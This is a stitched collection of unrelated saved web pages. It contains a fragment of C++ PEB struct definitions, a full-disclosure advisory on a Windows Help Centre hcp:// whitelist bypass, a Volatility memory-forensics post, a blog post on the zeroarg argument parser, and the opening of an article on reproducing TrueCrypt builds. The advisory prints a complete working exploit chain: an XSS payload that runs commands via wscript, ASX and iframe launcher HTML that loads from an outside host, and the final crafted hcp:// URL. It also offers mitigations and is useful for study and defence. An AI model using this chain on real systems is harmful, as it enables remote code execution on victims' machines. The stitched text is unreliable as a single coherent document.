        T Mutant;
        T ImageBaseAddress;
        T Ldr;
        T ProcessParameters;
        T SubSystemData;
        T ProcessHeap;
        T FastPebLock;
        T AtlThunkSListPtr;
        T IFEOKey;
        T CrossProcessFlags;
        T UserSharedInfoPtr;
        DWORD SystemReserved;
        DWORD AtlThunkSListPtr32;
        T ApiSetMap;
        T TlsExpansionCounter;
        T TlsBitmap;
        DWORD TlsBitmapBits[2];
        T ReadOnlySharedMemoryBase;
        T HotpatchInformation;
        T ReadOnlyStaticServerData;
        T AnsiCodePageData;
        T OemCodePageData;
        T UnicodeCaseTableData;
        DWORD NumberOfProcessors;
        union
        {
            DWORD NtGlobalFlag;
            NGF dummy02;
        };
        LARGE_INTEGER CriticalSectionTimeout;
        T HeapSegmentReserve;
        T HeapSegmentCommit;
        T HeapDeCommitTotalFreeThreshold;
        T HeapDeCommitFreeBlockThreshold;
        DWORD NumberOfHeaps;
        DWORD MaximumNumberOfHeaps;
        T ProcessHeaps;
        T GdiSharedHandleTable;
        T ProcessStarterHelper;
        T GdiDCAttributeList;
        T LoaderLock;
        DWORD OSMajorVersion;
        DWORD OSMinorVersion;
        WORD OSBuildNumber;
        WORD OSCSDVersion;
        DWORD OSPlatformId;
        DWORD ImageSubsystem;
        DWORD ImageSubsystemMajorVersion;
        T ImageSubsystemMinorVersion;
        T ActiveProcessAffinityMask;
        T GdiHandleBuffer[A];
        T PostProcessInitRoutine;
        T TlsExpansionBitmap;
        DWORD TlsExpansionBitmapBits[32];
        T SessionId;
        ULARGE_INTEGER AppCompatFlags;
        ULARGE_INTEGER AppCompatFlagsUser;
        T pShimData;
        T AppCompatInfo;
        UNICODE_STRING_T<T> CSDVersion;
        T ActivationContextData;
        T ProcessAssemblyStorageMap;
        T SystemDefaultActivationContextData;
        T SystemAssemblyStorageMap;
        T MinimumStackCommit;
        T FlsCallback;
        LIST_ENTRY_T<T> FlsListHead;
        T FlsBitmap;
        DWORD FlsBitmapBits[4];
        T FlsHighIndex;
        T WerRegistrationData;
        T WerShipAssertPtr;
        T pContextData;
        T pImageHeaderHash;
        T TracingFlags;
    };
     
    typedef _PEB_T<DWORD, DWORD64, 34> PEB32;
    typedef _PEB_T<DWORD64, DWORD, 30> PEB64;
    #pragma pack()
[/code]  
---|---  
Above definitions were compiled as **x86** and **x64** code and works well
\(at least on **Windows 7 x64** <img src='img/Temp2_6010.gif' alt=':)' /> \).
You may freely use above code in your projects.

# Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly

**Created:**| _8/12/2010 4:57:14 PM_  
---|---  
**Updated:**| _8/12/2010 4:57:14 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

[code]

    Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly
    ----------------------------------------------------------------------------
    
    Help and Support Centre is the default application provided to access online
    documentation for Microsoft Windows. Microsoft supports accessing help documents
    directly via URLs by installing a protocol handler for the scheme "hcp", 
    a typical example is provided in the Windows XP Command Line Reference,
    available at http://technet.microsoft.com/en-us/library/bb490918.aspx.
    
    Using hcp:// URLs is intended to be safe, as when invoked via the registered
    protocol handler the command line parameter /fromhcp is passed to the help
    centre application. This flag switches the help centre into a restricted mode,
    which will only permit a whitelisted set of help documents and parameters.
    
    This design, introduced in SP2, is reasonably sound. A whitelist of trusted
    documents is a safe way of allowing interaction with the documentation from
    less-trusted sources. Unfortunately, an implementation error in the whitelist
    allows it to be evaded.
    
    URLs are normalised and unescaped prior to validation using
    MPC::HTML::UrlUnescapeW(), which in turn uses MPC::HexToNum() to translate URL
    escape sequences into their original characters, the relevant code from
    helpctr.exe 5.1.2600.5512 (latest at time of writing) is below.
    
    .text:0106684C Unescape:
    .text:0106684C        cmp     di, '%'              ; di contains the current wchar in the input URL.
    .text:01066850        jnz     short LiteralChar    ; if this is not a '%', it must be a literal character.
    .text:01066852        push    esi                  ; esi contains a pointer to the current position in URL to unescape.
    .text:01066853        call    ds:wcslen            ; find the remaining length.
    .text:01066859        cmp     word ptr [esi], 'u'  ; if the next wchar is 'u', this is a unicode escape and I need 4 xdigits.
    .text:0106685D        pop     ecx                  ; this sequence calculates the number of wchars needed (4 or 2).
    .text:0106685E        setz    cl                   ; i.e. %uXXXX (four needed), or %XX (two needed).
    .text:01066861        mov     dl, cl
    .text:01066863        neg     dl
    .text:01066865        sbb     edx, edx
    .text:01066867        and     edx, 3
    .text:0106686A        inc     edx
    .text:0106686B        inc     edx
    .text:0106686C        cmp     eax, edx             ; test if I have enough characters in input to decode.
    .text:0106686E        jl      short LiteralChar    ; if not enough, this '%' is considered literal.
    .text:01066870        test    cl, cl
    .text:01066872        movzx   eax, word ptr [esi+2]
    .text:01066876        push    eax
    .text:01066877        jz      short NotUnicode
    .text:01066879        call    HexToNum             ; call MPC::HexToNum() to convert this nibble (4 bits) to an integer.
    .text:0106687E        mov     edi, eax             ; edi contains the running total of the value of this escape sequence.
    .text:01066880        movzx   eax, word ptr [esi+4]
    .text:01066884        push    eax
    .text:01066885        shl     edi, 4               ; shift edi left 4 positions to make room for the next digit, i.e. total <<= 4;
    .text:01066888        call    HexToNum             
    .text:0106688D        or      edi, eax             ; or the next value into the 4-bit gap, i.e. total |= val.
    .text:0106688F        movzx   eax, word ptr [esi+6]; this process continues for the remaining wchars.
    .text:01066893        push    eax
    .text:01066894        shl     edi, 4
    .text:01066897        call    HexToNum
    .text:0106689C        or      edi, eax
    .text:0106689E        movzx   eax, word ptr [esi+8]
    .text:010668A2        push    eax
    .text:010668A3        shl     edi, 4
    .text:010668A6        call    HexToNum
    .text:010668AB        or      edi, eax
    .text:010668AD        add     esi, 0Ah              ; account for number of bytes (not chars) consumed by the escape.
    .text:010668B0        jmp     short FinishedEscape
    .text:010668B2
    .text:010668B2 NotUnicode:                             
    .text:010668B2        call    HexToNum             ; this is the same code, but for non-unicode sequences (e.g. %41, instead of %u0041)
    .text:010668B7        mov     edi, eax
    .text:010668B9        movzx   eax, word ptr [esi]
    .text:010668BC        push    eax
    .text:010668BD        call    HexToNum
    .text:010668C2        shl     eax, 4
    .text:010668C5        or      edi, eax
    .text:010668C7        add     esi, 4               ; account for number of bytes (not chars) consumed by the escape.
    .text:010668CA
    .text:010668CA FinishedEscape:
    .text:010668CA        test    di, di
    .text:010668CD        jz      short loc_10668DA
    .text:010668CF
    .text:010668CF LiteralChar:
    .text:010668CF        push    edi                  ; append the final value to the normalised string using a std::string append.
    .text:010668D0        mov     ecx, [ebp+unescaped]
    .text:010668D3        push    1
    .text:010668D5        call    std::string::append
    .text:010668DA        mov     di, [esi]            ; fetch the next input character.
    .text:010668DD        test    di, di               ; have we reached the NUL terminator?
    .text:010668E0        jnz     Unescape             ; process next char.
    
    This code seems sane, but an error exists due to how MPC::HexToNum() handles
    error conditions, the relevant section of code is annotated below.
    
    .text:0102D32A        mov     edi, edi
    .text:0102D32C        push    ebp
    .text:0102D32D        mov     ebp, esp              ; function prologue.
    .text:0102D32F        mov     eax, [ebp+arg_0]      ; fetch the character to convert.
    .text:0102D332        cmp     eax, '0'
    .text:0102D335        jl      short CheckUppercase  ; is it a digit?
    .text:0102D337        cmp     eax, '9'
    .text:0102D33A        jg      short CheckUppercase
    .text:0102D33C        add     eax, 0FFFFFFD0h       ; atoi(), probably written val - '0' and optimised by compiler.
    .text:0102D33F        jmp     short Complete   
    .text:0102D341 CheckUppercase:
    .text:0102D341        cmp     eax, 'A'
    .text:0102D344        jl      short CheckLowercase  ; is it an uppercase xdigit?
    .text:0102D346        cmp     eax, 'F'
    .text:0102D349        jg      short CheckLowercase
    .text:0102D34B        add     eax, 0FFFFFFC9h       ; atoi()
    .text:0102D34E        jmp     short Complete   
    .text:0102D350 CheckLowercase:
    .text:0102D350        cmp     eax, 'a'
    .text:0102D353        jl      short Invalid         ; lowercase xdigit?
    .text:0102D355        cmp     eax, 'f'
    .text:0102D358        jg      short Invalid    
    .text:0102D35A        add     eax, 0FFFFFFA9h       ; atoi()
    .text:0102D35D        jmp     short Complete    
    .text:0102D35F Invalid:     
    .text:0102D35F        or      eax, 0FFFFFFFFh       ; invalid character, return -1
    .text:0102D362 Complete:   
    .text:0102D362        pop     ebp
    .text:0102D363        retn    4
    
    Thus, MPC::HTML::UrlUnescapeW() does not check the return code of
    MPC::HexToNum() as required, and therefore can be manipulated into appending
    unexpected garbage onto std::strings. This error may appear benign, but we can
    use the miscalculations produced later in the code to evade the /fromhcp
    whitelist.
    
    Assuming that we can access arbitrary help documents (full details of how the
    MPC:: error can be used to accomplish this will be explained below), we must
    identify a document that can be controlled purely from the URL used to access it.
    
    After browsing the documents available in a typical installation, the author
    concluded the only way to do this would be a cross site scripting error. After
    some careful searching, a candidate was discovered:
    
    hcp://system/sysinfo/sysinfomain.htm?svr=<h1>test</h1>
    
    This document is available in a default installation, and due to insufficient
    escaping in GetServerName() from sysinfo/commonFunc.js, the page is vulnerable
    to a DOM-type XSS. However, the escaping routine will abort encoding if characters
    such as '=' or '"' or others are specified. 
    
    It's not immediately obvious that this error is still exploitable, simple
    tricks like <img src=bad onerror=code> don't apply, and <script>code</script>
    isn't helpful as the code isn't evaluated again. In situations like this, the
    best course of action is to harass lcamtuf until he gives you the solution,
    which of course his encyclopaedic knowledge of browser security quirks produced
    immediately.
    
    <script defer>code</script>
    
    The defer property is an IE-ism which solves the problem, documented by
    Microsoft here http://msdn.microsoft.com/en-us/library/ms533719%28VS.85%29.aspx.
    Now that we are armed with knowledge of this trick, because these help
    documents are in a privileged zone, we can simply execute commands.
    
    You can test this with a command like so (assuming a recent IE):
    
    C:\> ver
    Microsoft Windows XP [Version 5.1.2600]
    C:\> c:\windows\pchealth\helpctr\binaries\helpctr.exe -url "hcp://system/sysinfo/sysinfomain.htm?svr=<script defer>eval(unescape('Run%28%22calc.exe%22%29'))</script>"
    C:\>
    
    While this is fun, this isn't a vulnerability unless an untrusted third party
    can force you to access it. Testing suggests that by default, accessing an
    hcp:// URL from within Internet Explorer >= 8, Firefox, Chrome (and presumably
    other browsers) will result in a prompt. Although most users will click through
    this prompt (perfectly reasonable, protocol handlers are intended to be safe),
    it's not a particularly exciting attack.
    
    I've found a way to avoid the prompt in a default Windows XP installation in all
    major browsers, The solution is to invoke the protocol handler from within an
    <iframe> in an ASX HtmlView element. There are probably other ways.
    
    http://en.wikipedia.org/wiki/Advanced_Stream_Redirector
    
    The version of Windows Media Player that is available by default in Windows XP
    is WMP9, which installs an NPAPI and ActiveX plugin to render windows media
    content. Later versions also can be used, with some minor complications.
    
    Thus, the attack will look like this:
    
    $ cat simple.asx 
    <ASX VERSION="3.0">
    <PARAM name="HTMLView" value="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html"/>
    <ENTRY>
       <REF href="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/bug-vs-feature.jpg"/>
    </ENTRY>
    </ASX>
    
    Where starthelp.html contains something like:
    
    $ cat starthelp.html 
    <iframe src="hcp://...">
    
    Forcing a user to read an .ASX file can be achieved in a cross-browser manner like so:
    
    $ cat launchurl.html 
    <html>
    <head><title>Testing HCP</title></head>
    <body>
      <h1>OK</h1>
      <script>
            // HCP:// Vulnerability, Tavis Ormandy, June 2010.
            var asx = "http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/simple.asx";
    
            if (window.navigator.appName == "Microsoft Internet Explorer") {
                // Internet Explorer
                var o = document.createElement("OBJECT");
                o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
                o.openPlayer(asx);
            } else {
                // Mozilla, Chrome, Etc.
                var o = document.createElement("IFRAME");
                o.setAttribute("src", asx);
                document.body.appendChild(o);
            }
      </script>
    </body>
    </html>
    
    Therefore, we have the following interactions between multiple complex systems
    chained together:
    
    - From an html page, email, document, or other application force a user to
      fetch a .ASX file containing an HtmlView element.
    - From the HtmlView element, invoke the hcp protocol handler that would normally
      require confirmation.
    - From the HCP Protocol handler, bypass the /fromhcp whitelist by using the
      string miscalculations caused by failing to check the return code of
      MPC::HexToNum().
    - Once the whitelist has been defeated, invoke the Help document with a known
      DOM XSS due to GetServerName() insufficient escaping.
    - Use the defer property of a script tag to execute script in a privileged zone
      even after the page has been rendered.
    - Invoke an arbitrary command using the wscript.shell object.
    
    Figuring out how to use the MCP::HexToNum() error to defeat the /fromhcp
    whitelist took some analysis, but the result looks like the following.
    
    hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%
    A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%
    %A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A
    %%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
    A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=%3
    Cscript%20defer%3Eeval%28unescape%28%27Run%2528%2522calc.exe%2522%2529%27%29%29%
    3C/script%3E
    
    --------------------
    Affected Software
    ------------------------
    
    At least Microsoft Windows XP, and Windows Server 2003 are affected. The attack
    is enhanced against IE >= 8 and other major browsers if Windows Media Player is
    available, but an installation is still vulnerable without it.
    
    Machines running version of IE less than 8 are, as usual, in even more trouble.
    
    In general, choice of browser, mail client or whatever is not relevant, they
    are all equally vulnerable.
    
    --------------------
    Consequences
    -----------------------
    
    Upon successful exploitation, a remote attacker is able to execute arbitrary
    commands with the privileges of the current user.
    
    I've prepared a demonstration for a typical Windows XP installation with
    Internet Explorer 8, and the default Windows Media Player 9.
    
    http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/launchurl.html
    
    In IE7 on Windows XP, just visiting this URL should be sufficient:
    
    http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html
    
    Some minor modifications will be required to target other configurations, this
    is simply an attempt to demonstrate the problem. I'm sure the smart guys at
    metasploit will work on designing reliable attacks, as security professionals
    require these to do their jobs.
    
    Additionally, my demonstration is not intended to be stealthy, a real
    attack would barely be noticable to the victim. Perhaps the only unavoidable
    signal would be the momentary appearance of the Help Centre window before the
    attacker hides it. There are multiple trivial techniques that can be used to
    accomplish this.
    
    Browsers are useful to demonstrate the problem, but there are certainly other
    attack vectors, such as MUAs, documents, etc. Protocol handlers are designed to
    be used across applications.
    
    -------------------
    Mitigation
    -----------------------
    
    If you believe you may be affected, you should consider applying one of the
    workarounds described below.
    
    Few users rely on Help Centre urls, it is safe to temporarily disable them
    by removing HKCR\HCP\shell\open. This modification can be deployed easily using
    GPOs. For more information on Group Policy, see Microsoft's Group Policy site,
    here
    
    http://technet.microsoft.com/en-us/windowsserver/bb310732.aspx
    
    A few caveats, 
    
        * I am aware that some support technicians rely on the Remote Assistance
          tool provided by the Help Center application using shortcuts like
          "explorer.exe hcp://CN=Microsoft%20Corporation,L=Re...". You can continue
          to use this technique by substituting "explorer.exe hcp://..." for
          "helpctr.exe /url hcp://...", without relying on the protocol handler.
    
        * One or two links in explorer, such as selecting "Help" from the Control
          Panel category view, may no longer function. If this concerns you, it is
          possible to gracefully degrade by replacing the protocol handler with a
          command to open a static intranet support page, e.g.
          "chrome.exe http://techsupport.intranet".
    
        * As always, if you do not use this feature, consider permanently disabling
          it in order to reduce attack surface. Historically, disabling unused
          protocol handlers has always proven to be a wise investment in security. 
    
    In the unlikely event that you heavily rely on the use of hcp://, I have
    created an unofficial (temporary) hotfix. You may use it under the terms of
    the GNU General Public License, version 2 or later. Of course, you should only
    use it as a last resort, carefully test the patch and make sure you understand
    what it does (full source code is included). It may be necessary to modify it
    to fit your needs.
    
    The package is availble for x86 here:
    
    http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/hcphotfix.zip
    
    [ NOTE: Please avoid linking to this file out of context, it is intended for
            consideration as a potential mitigation by experienced administrators,
            and is not suitable for consumption by end-users ]
    
    The hotfix intercepts helpctr.exe invokations, and patches MPC::HexToNum() to
    return zero on error, rather than -1. Nothing is changed on disk, and it can be
    safely removed at anytime. Of course, the result of an invalid unescape is still
    incorrect, but this specific vulnerability should be rendered inert. I would be
    greatful if the community could contribute bugfixes, testing, an x64 port, and
    so on. Once information is in the open, we can all collaborate on our
    collective security.
    
    Some clarifications,
    
        * Fixing the XSS is not a solution, the root cause is the whitelist
          evasion, any mitigation that does not address this is simply papering
          over the issue. An army of researchers that specialise in XSS exists, and
          i'm sure they will turn their attention to help documents once they
          realise their value. Assume more will be discovered.
    
        * That said, if you are an XSS expert, examples in whitelisted pages
          (/services/index, /services/search, etc.) would be useful, your skills
          could be helpful making this important software safe.
    
        * Removing Windows Media player is not a solution, it simply makes a fun
          demo for IE8 and other modern browsers.
    
    Finally, you should take this opportunity to disable all browser plugins and
    SFS ActiveX controls that are not regularly used. End users can do this
    themselves in Google Chrome by viewing about:plugins and disabling the plugins
    that are not required. In Mozilla Firefox, use the Tools->Add-ons->Plugins
    interface.
    
    -------------------
    Solution
    -----------------------
    
    Microsoft was informed about this vulnerability on 5-Jun-2010, and they
    confirmed receipt of my report on the same day.
    
    Protocol handlers are a popular source of vulnerabilities, and hcp:// itself
    has been the target of attacks multiple times in the past. I've concluded that
    there's a significant possibility that attackers have studied this component,
    and releasing this information rapidly is in the best interest of security.
    
    Those of you with large support contracts are encouraged to tell your support
    representatives that you would like to see Microsoft invest in developing
    processes for faster responses to external security reports.
    
    -------------------
    Credit
    -----------------------
    
    This bug was discovered by Tavis Ormandy.
    
    -------------------
    Greetz
    -----------------------
    
    Greetz to Neel, Mark, Redpig, Spoonm, Skylined, asiraP, LiquidK, ScaryBeasts,
    Hawkes, Jagger, and all my other pimp colleagues.
    
    Special thanks to lcamtuf for his assistance with the deferred execution
    problem. You should read his Browser Security Handbook if you need to
    understand how web browser security /really/ works.
    
    http://code.google.com/p/browsersec/wiki/Main
    
    A colleague is organising a conference in Lucerne, Switzerland. He would really
    appreciate interesting papers from security people who want to talk about
    their research (travel, hotel, etc. covered).
    
    https://www.hashdays.ch/
    
    -------------------
    Notes
    -----------------------
    
    I would like to point out that if I had reported the MPC::HexToNum() issue
    without a working exploit, I would have been ignored.
    
    Without access to extremely smart colleagues, I would likely have given up,
    leaving you vulnerable to attack from those who just want root on your network
    and do not care about disclosure policies.
    
    This is another example of the problems with bug secrecy (or in PR speak,
    "responsible disclosure"), those of us who work hard to keep networks safe are
    forced to work in isolation without the open collaboration with our peers that
    we need, especially in complex cases like this, where creative thinking and
    input from experts in multiple disciplines is required to join the dots.
    
    A good place to start researching full disclosure would be this accessible
    and insightful essay by Bruce Schneier.
    
    http://www.schneier.com/essay-146.html
    
    His balanced coverage of the debate is also available in this essay.
    
    http://www.schneier.com/crypto-gram-0111.html#1
    
    Finally, a reminder that this document represents my own work and opinions, I
    do not speak for or represent anyone but myself.
    
    -------------------
    References
    -----------------------
    
    hcp:// has been broken a few times over the years, for example:
    
    - http://seclists.org/bugtraq/2002/Aug/225, Delete arbitrary files using Help and Support Center
    - http://www.microsoft.com/technet/security/bulletin/ms03-044.mspx, HCP memory corruption by Dave Litchfield.
    
    The current design is actually pretty sound, I'm sure Microsoft are
    dissapointed they missed this flaw. In their defense, I think there's a good
    chance I would have also missed this in code review.
    
[/code]

# Volatility Labs: The Secret to 64-bit Windows 8 and 2012 Raw Memory Dump
Forensics

**Created:**| _1/16/2014 3:24:04 PM_  
---|---  
**Updated:**| _1/16/2014 3:24:04 PM_  
**Author:**| __  
**Tags:**| _Memory forensics_  
  

# **T** he Secret to 64-bit Windows 8 and 2012 Raw Memory Dump Forensics****

Those of you who attended OMFW 2013  received a talk on Windows 8 and Server
2012 memory forensics with Volatility**.** One of the interesting aspects of
this new operating system, which includes 8**.** 1 and 2012 R2, is that the
kernel debugger data block \(\_KDDEBUGGER\_DATA64\) is encoded by default on
the 64-bit versions**.** As noted in Takahiro Haruyama's blog , this
capability has been present since Vista, but only enabled in certain
situations**.** Whether you're dealing with one of those special circumstances
from a Vista/2008/7 system, or if you're analyzing memory from a more recent
Windows 8 or 2012 system, the question remains -- what can you do about
it**?**  
  
An encoded KDBG can have a hugely negative effect on your ability to perform
memory forensics**.** This structure contains a lot of critical details about
the system, including the pointers to the start of the lists of active
processes and loaded kernel modules, the address of the PspCid handle table,
the ranges for the paged and non-paged pools, etc**.** If all of these fields
are encoded, your day becomes that much more difficult**.**  
  
>>> **dt\( "\_KDDEBUGGER\_DATA64"\)**  
'\_KDDEBUGGER\_DATA64' \(**832** bytes\)  
0x0 : Header \['\_DBGKD\_DEBUG\_DATA\_HEADER64'\]  
0x18 : KernBase \['unsigned long long'\]  
0x20 : BreakpointWithStatus \['unsigned long long'\]  
0x28 : SavedContext \['unsigned long long'\]  
0x30 : ThCallbackStack \['unsigned short'\]  
0x32 : NextCallback \['unsigned short'\]  
0x34 : FramePointer \['unsigned short'\]  
0x38 : KiCallUserMode \['unsigned long long'\]  
0x40 : KeUserCallbackDispatcher \['unsigned long long'\]  
**0x48 : PsLoadedModuleList \['pointer', \['\_LIST\_ENTRY'\]\]**  
**0x50 : PsActiveProcessHead \['pointer', \['\_LIST\_ENTRY'\]\]**  
0x58 : PspCidTable \['pointer', \['pointer', \['\_PSP\_CID\_TABLE'\]\]\]  
\[snip\]  
  
As Takahiro points out, acquiring memory in crash dump format may help you
evade this problem altogether, because some APIs used to create crash dumps
will automatically decode the data before writing it to the crash dump
file**.** They do this so Microsoft's debugger \(Windbg\) can find and read
the structure when necessary**.** In fact, by simply attaching a kernel
debugger to a target system, the KDBG structure will be decoded**.** However,
tools that acquire memory in raw format \(with no headers, no meta-data,
etc**.**\) will not preemptively decode the data, and raw memory dumps,
including virtual machine snapshot memory files, are by far the most common
format -- since practically all analysis tools accept them as input**.**  
  
The answer to the problem lies within the NT kernel module, specifically in a
function named KdCopyDataBlock**.** Here you will find a few variables, such
as KiWaitNever and KiWaitAlways which are set based on the value of the
timestamp counter \(RDTSC\) when the system boots \(these values are also
involved in pointer obfuscation for Patchguard2\)**.** Using those values in
combination with a small formula, which we tweeted back in July 2013, you can
fully decode the KDBG structure in raw memory dumps and access its members per
the usual**.**

When you execute Volatility against a raw memory dump \(or any memory dump
format for that matter\) that contains an encoded KDBG structure, it will
first find the KiWaitNever, KiWaitAlways, and few other required sources of
entropy**.** Then it will find the KDBG structure, despite the fact that its
encoded, and use the previously found values to decode it**.** The plain-text
data is stored in the memory of the Volatility process, not written back to
your memory dump file**.** As a result, from the end-user's perspective,
nothing has really changed**.** You go about your analysis in the same way you
always do:

The build of Volatility that supports 32- and 64-bit Windows 8, 8**.** 1,
2012, and 2012 R2 is currently being beta-tested by students who participate
in our training classes , as well as by a few select members of the
community**.** We hope you're as excited about this new capability as we
are**\!**

#### No comments**** :

#### Post a Comment****

****

# zeroarg - macwright.org

**Created:**| _5/7/2017 10:15:52 AM_  
---|---  
**Updated:**| _5/7/2017 10:15:52 AM_  
**Author:**| __  
**Tags:**| _software_  
  

  

# zeroarg

<img src='img/34295236942_18777fca1f_k_d.jpg' width='576' height='353'
alt='zeroarg logo: zero-config argument parser' />

zeroarg is a weird new kind of argument parser.

Argument parsers, like yargs, commander, and meow, are utilities that make
command-line interfaces possible, by parsing arguments that you give to a
program in a shell like bash or zsh into variables in a language, like
JavaScript.

I’ve written a bunch of command-line utilities, and argument parsing feels
increasingly weird, foreign - kind of wrong. Documentation.js, for instance,
has a lot of argument parsing code that mirrors the code that handles its Node
API. I want consistent behavior between the two - for the same defaults to
come into play regardless of whether you’re plugging in with the Node API or
the CLI. But I end up restating a lot of stuff, wiffle-waffling over whether
to express something in yargs, or keep argument parsing simple and do
validation and such in the application level.

Especially when programs express more and more with type systems like Flow, it
feels _weird_ restating those types whenever we parse arguments.

meow is interesting, in that, instead of a fancy chaining JavaScript API, it
parses documentation and generates a parser that aligns to that documentation.

zeroarg, instead, generates a CLI argument parser _based on code_. It uses the
magic of documentation.js to infer parameter types & defaults, and read
examples and a description for a function, and then configures `yargs`, under
the hood, to generate a CLI utility for that function.

For example, here’s a command-line utility that takes numbers and returns
their sum:

[code]

    #!/usr/bin/env node
    
    var zeroarg = require('zeroarg');
    
    zeroarg(function () {
      /**
       * Add numbers together
       * @param {Array<number>} numbers
       */
      return function add(numbers) {
        console.log(numbers.reduce((sum, num) => sum + num, 0));
      }
    });
    
[/code]

And using it:

[code]

    $ add run 1 2 3
    6
    
[/code]

It’s smart enough to handle options, too:

[code]

    #!/usr/bin/env node
    
    var zeroarg = require('zeroarg');
    
    zeroarg(function () {
      /**
       * Add numbers together
       * @param {number} numbers
       * @param {Object} options
       * @param {string} options.a
       * @param {number} options.b
       * @param {wiffles|waffles} [options.c=wiffles]
       */
      return function(hello, { a, b, c }) {
        console.log(hello, a, b, c);
      }
    });
    
[/code]

And it reads JSDoc types and enforces those types in yargs: in this example,
the option `c` \(`--c`\) becomes a choice between wiffles & waffles.

Under the hood:

  * zeroarg exposes a single function as an API, to which you provide a function that returns a function.
  * When you run the CLI utility,
  * It runs `.toString()` on that method, and uses documentation.js to figure out the arguments that the function wants and other documentation
  * It then configures `yargs` to fit those argument types
  * It runs `yargs` to get an `argv` value with parsed arguments, or to show an error or help message
  * It then runs the function you give it, and then runs the function that that one returns.

* * *
So: the thesis is:

  1. Argument parsing right now is weird in a world of type systems.
  2. What if we used existing types to generate argument parsers.
  3. And CLI utilities didn’t need to configure - or really ‘know about’ their use as CLI utilities. They could be plain functions.

zeroarg is bleeding-edge, experimental technology: if you feel the same way
about traditional argument parsing as I do, I really invite you to try it out
and contribute if you see ways for it to advance. Some things that I’ve had on
the top of my head these few days:

  * Supporting customizable backends, not just yargs
  * Generating argument parsers, so that zeroarg really _does_ disappear: it’d generate code that doesn’t require any library or module dependencies to run
  * Supporting multiple commands as multiple functions
  * zeroargs providing a bin entry point of its own, so that modules don’t even need another file for a CLI interface.
  * Real support for Flow annotations - right now Node doesn’t support Flow, and zeroarg works **at runtime** , not at compile time, so it has no chance to access Flow type annotations.
  * Let your imagination be the guide\!

  

# How I compiled TrueCrypt 7.1a for Win32 and matched the official binaries

**Created:**| _10/25/2013 9:28:19 AM_  
---|---  
**Updated:**| _10/25/2013 9:29:29 AM_  
**Author:**| __  
**Tags:**| _hashes crypto software testing deploy build_  
  

# **H** ow I compiled TrueCrypt 7.1a for Win32 and matched the official
binaries****

TrueCrypt is an open-source encryption software capable of on-the-fly
encryption on file-, partition- or disk-based virtual disks**.** It supports
various ciphers, including AES, Serpent, Twofish or some combination of them;
provides a full disk encryption \(FDE\) feature under Windows environment with
pre-boot authentication; and even allows plausible deniability**.**  
Hence TrueCrypt seems to be a perfect solution to protect sensitive files**.**
However, the recent news about the NSA programs enable all conspiracy
theorists to imagine the worst of all**.** What if TrueCrypt was backdoored?
What if the binaries provided on the website were different than the source
code and they included hidden features**?**  
We show in this article how to reproduce a deterministic compilation process
specific to TrueCrypt 7**.** 1a for Windows that matches the official
binaries, and relieve the world from at least some concerns**.**

## Article versions changelog****

  * 2013-10-24v2: Clarified few sentences about backdoors, explained the PDB info difference, made clear my results are meant to be reproduced
  * 2013-10-24: Added analysis results of v7**.** 0a and v6.3a
  * 2013-10-23: Explained differences in more details, added assembly comparison
  * 2013-10-22: Added PGP/X**.** 509 screenshots, clarified some comparison comments
  * 2013-10-21: First version

## Challenges and implications****

TrueCrypt is a project that doesn't provide deterministic builds**.** Hence,
anyone compiling the sources will get different binaries, as pointed by this
article on Privacy Lover , saying that "_it is exceedingly difficult to
generate binaries from source that match the binaries provided by
Truecrypt**.**_ " This has led some speculations regarding the possibility of
having backdoors in the official binaries that cannot be found easiliy**.**  
This concern has also been raised in this analysis , saying: "_Without a very
expensive “reverse engineering” it can't be proved that they are compiled from
the published source code**.** Since we haven't done such a reverse
engineering we can't preclude that there is a back door hidden within those
binary packages**.**_ "  
Recently, the IsTrueCryptAuditedYet project was launched and aims at reviewing
TrueCrypt's security and, among other things, providing deterministic build so
as to enable everyone to compare her version to the official one**.** However,
it is still at an early stage \(as of October 2013\) and tries to raise funds
first**.**  
In this article, I present how I compiled TrueCrypt 7**.** 1a for Windows and
reached a very close match to the official binaries**.** I am also able to
explain the small remaining differences and then prove that the official
binaries indeed come from the public sources**.**

## Preparing the environment and compiling****

### 1**.** Download TrueCrypt binary and sources****

First of all, we want to download TrueCrypt and make sure it really is what
the website is offering by checking the binary authenticity**.**  
The download page is at http://www.truecrypt.org/downloads and doesn't provide
HTTPS to download the software**.** Download TrueCrypt 7**.** 1a for Windows
7/Vista/XP/2000 \(_TrueCrypt Setup 7**.** 1a.exe_\)**.**

Filename: TrueCrypt Setup 7.1a.exe MD5: 7a23ac83a0856c352025a6f7c9cc1526 SHA1:
7689d038c76bd1df695d295c026961e50e4a62ea

The PGP signature of the binary can be downloaded through the button PGP
Signature, which makes you download _TrueCrypt Setup 7**.** 1a.exe.sig_ over
HTTPS \(although with the NSA in the middle, it might not mean much\)**.**

Filename: TrueCrypt Setup 7.1a.exe.sig MD5: 015a30c68450b9559bda52eb2fa0ff3e
SHA1: e1e3efaeac2fbcdbff0c2c62ac33233bd356edfa

Next, download the PGP public key file \(_TrueCrypt-Foundation-Public-Key.asc_
\) to verify the signature over the TrueCrypt binary**.** It is provided
through an HTTPS link too.

Filename: TrueCrypt-Foundation-Public-Key.asc MD5:
41612478ceeee8448b87a5e872f07302 SHA1:
c871f833d6c115f4b4861eed859ff512e994b9fc

On the source code/public key page , download the sources \(_TrueCrypt 7**.**
1a Source.zip_\) for Windows.

